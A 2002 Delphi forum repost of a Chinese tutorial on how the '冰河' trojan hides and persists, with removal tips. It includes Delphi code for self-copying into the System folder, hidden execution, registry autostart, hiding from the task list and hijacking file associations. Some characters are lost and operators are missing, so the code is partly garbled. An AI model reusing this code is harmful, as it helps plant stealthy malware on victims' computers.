線上訂房服務-台灣趴趴狗聯合訂房中心
發文 回覆 瀏覽次數:1895
推到 Plurk!
推到 Facebook!

冰河是有名的用C++Builder編寫的中國的國產遠端管理軟體

 
jackkcg
站務副站長


發表:891
回覆:1050
積分:848
註冊:2002-03-23

發送簡訊給我
#1 引用回覆 回覆 發表時間:2002-09-28 04:14:12 IP:61.70.xxx.xxx 未訂閱
此為轉貼資料 http://hong.w18.net/Articles/Other/Other2.htm 陳經 前言:我經常在雜誌和報刊上看到此類標題的文章,但大多是騙稿費的,沒有任何技術含量.於是一氣之下寫了這編東西.本人聲明如下:(一)本人對"冰河"及其作者沒有任何不滿,相反,作者肯幫助初學者的態度是我們每一個人都應該學習的.(二)本文的目的在於交流編程經驗,沒有任何其他不良企圖.(三)在一些領域,我們理應寧可自製力讓我們的預見力保持寂寞,也不要去做一個打開潘多拉盒子的先知。所以一些更厲害的方法我們現在不會提,以後也不會.--2000.8.3 (1) “冰河”是有名的用C Builder編寫的國產遠端管理軟體,其自我的功能保護很強,下面就以Delphi?例談一談它的原理,希望對大家有一些?發. 一、程式安裝 此類程式一般會把自己隱藏起來運行,通常不外乎以下幾種方法:自我拷貝法、資源檔案法、網頁方式安裝、類病毒捆綁法(如YAI).自我拷貝法適用於本身就一個文件,資源檔案法可以同時安裝好幾個文件,網頁方式安裝要先向M$交錢換安全簽證,類病毒捆綁法利用了病毒的原理.本文只介紹自我拷貝法,其他方法請到我的個人主頁去看.http://lovejingtao.126.com 1:自我拷貝法 這種方法的原理是程式運行時先查看自己是不是在特定目錄下,如果是就繼續運行,如果不是就把自己拷貝到特定目錄下,然後運行新程式,再退出舊程式. 打開Delphi,新建一個工程,在視窗的Create事件中寫代碼: procedure TForm1.FormCreate(Sender: TObject); var myname: string; begin myname := ExtractFilename(Application.Exename); //獲得檔案名 if application.Exename <> GetWindir myname then //如果文件不是在Windows\System\那?.. begin copyfile(pchar(application.Exename), pchar(GetWindir myname), False);{將自己拷貝到Windows\System\下} Winexec(pchar(GetWindir myname), sw_hide);//運行Windows\System\下的新文件 application.Terminate;//退出 end; end; 其中GetWinDir是自定義函數,起功能是找出Windows\System\的路徑. function GetWinDir: String; var Buf: array[0..MAX_PATH] of char; begin GetSystemDirectory(Buf, MAX_PATH); Result := Buf; if Result[Length(Result)]<>'\' then Result := Result '\'; end; 另外,?了避免同時運行多個程式的副本(節約系統資源也),程式一般會弄成每次只能運行一個.這又有幾種方法. 一種方法是程式運行時先查找有沒有相同的運行了,如果有,就立刻退出程式. 修改dpr專案文件,修改begin和end之間的代碼如下: begin Application.Initialize; if FindWindow('TForm1','Form1')=0 then begin //當沒有找到Form1時執行下面代碼 Application.ShowMainForm:=False; //不顯示主視窗 Application.CreateForm(TForm1, Form1); Application.Run; end; end. 另一種方法是?動時會先通過窗口名來確定是否已經在運行,如果是則關閉原先的再?動。“冰河”就是用這種方法的。 這樣做的好處在於方便升級.它會自動用新版本覆蓋舊版本. 方法如下:修改dpr專案文件 uses Forms,windows,messages, Unit1 in 'Unit1.pas' {Form1}; ?了程式能在Windows每次?動時自動運行,可以通過六種途徑來實現.“冰河”用註冊表的方式。 加入Registry單元,改寫上面的視窗Create事件,改寫後的程式如下: procedure TForm1.FormCreate(Sender: TObject); const K = '\Software\Microsoft\Windows\CurrentVersion\RunServices'; var myname: string; begin {Write by Lovejingtao,http://Lovejingtao.126.com,Lovejingtao@21cn.com} myname := ExtractFilename(Application.Exename); //獲得檔案名 if application.Exename <> GetWindir myname then //如果文件不是在Windows\System\那?.. begin copyfile(pchar(application.Exename), pchar(GetWindir myname), False);{//將自己拷貝到Windows\System\下} Winexec(pchar(GetWindir myname), sw_hide);//運行Windows\System\下的新文件 application.Terminate;//退出 end; with TRegistry.Create do try RootKey := HKEY_LOCAL_MACHINE; OpenKey( K, TRUE ); WriteString( 'syspler', application.ExeName ); finally free; end; end; ?了讓程式用ALT DEL CTRL看不見,在implementation後添加聲明: function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL'; 再在上面的窗口Create事件加上一句:RegisterServiceProcess(GetCurrentProcessID, 1);//隱藏 ?示1:當我們中了“冰河”,如果被對方上了密碼而無法自己卸載時,可以先找出是什?文件,然後自己配置一個沒有密碼的來運行,這樣它就會把原來有密碼的覆蓋掉,自己就可以輕鬆用它的卸載功能把它卸掉.如果你會編程,也可以自己寫一個"清除器"了,方法是先查找到窗口名,向它發送退出命令,再把它刪除即可. (2) “冰河”的自我功能保護很強,它一般通過Txt或Exe文件關聯來達到自我恢復.所以有很多人明明把它殺掉了,但重新?動時又會出現.下面舉以Txt文件關聯?例. 打開Delphi,新建一個工程,在視窗的Create事件中寫代碼: uses Registry procedure TForm1.FormCreate(Sender: TObject); const Kkk = '\Software\Microsoft\Windows\CurrentVersion\RunServices'; const K = '\txtfile\shell\open\command'; var sFileName:string; begin //****************************************************** with TRegistry.Create do //寫註冊表,讓程式跟文字檔案關聯 try RootKey := HKEY_CLASSES_ROOT; OpenKey( K, TRUE ); {Write by Lovejingtao,http://lovejingtao.126.com} WriteString( '', application.ExeName ' "%1" '); {Write by Lovejingtao,lovejingtao@21cn.com} finally free; end; //******************************************************* with TRegistry.Create do //寫註冊表,每次?動時自動運行 try RootKey := HKEY_LOCAL_MACHINE; OpenKey( Kkk, TRUE ); WriteString( 'myTray', application.ExeName ); finally free; end; //******************************************************** if FileExists(pchar(Getwindir 'Sysplay.exe'))=false then//如果文件已經刪除 begin copyfile;//自定義拷貝資源檔案過程 winexec(pchar(Getwindir 'Sysplay.exe'),sw_hide); end; //********************************************************** if ParamCount>0 then begin (* 有執行參數傳入 *) sFileName:=ParamStr(1); (* 取得參數內容 *) winexec(pchar('Notepad.exe ' sFileName),sw_show);(*用記事本打開*) //winexec(pchar( sFileName),sw_show); end; //******************************************************* application.Terminate;//退出 end; 如果要改?與Exe文件關聯,只要把"const K = '\txtfile\shell\open\command';"改? "const K = '\exefile\shell\open\command';",把"winexec(pchar('Notepad.exe ' sFileName),sw_show);" 改?"winexec(pchar( sFileName),sw_show);"即可.當然,還要加入是否退出Windows而運行的Rundll32.dll, 否則會因?關聯Exe文件而退不出Windows. ?示2:手工刪除“冰河”時,還要改掉它的保護功能,不能讓它恢復.如果是關聯了文字檔案,先改註冊表讓它不能自動運行,重?後不要打開文字檔案,立刻進到其安裝目錄把它刪除.如果是關聯了Exe文件,那只有回到Dos下刪.切記:一定要把兩個文件同時刪掉,否則你重?後會發現文件又恢復了. ★作者: 陳經韜 Http:Lovejingtao.126.com E-Mail: Lovejingtao@21.cn.com 發表人 - jackkcg 於 2002/09/28 04:16:30
------
**********************************************************
哈哈&兵燹
最會的2大絕招 這個不會與那個也不會 哈哈哈 粉好

Delphi K.Top的K.Top分兩個字解釋Top代表尖端的意思,希望本討論區能提供Delphi的尖端新知
K.表Knowlege 知識,就是本站的標語:Open our mind
系統時間:2024-04-20 14:15:21
聯絡我們 | Delphi K.Top討論版
本站聲明
1. 本論壇為無營利行為之開放平台,所有文章都是由網友自行張貼,如牽涉到法律糾紛一切與本站無關。
2. 假如網友發表之內容涉及侵權,而損及您的利益,請立即通知版主刪除。
3. 請勿批評中華民國元首及政府或批評各政黨,是藍是綠本站無權干涉,但這裡不是政治性論壇!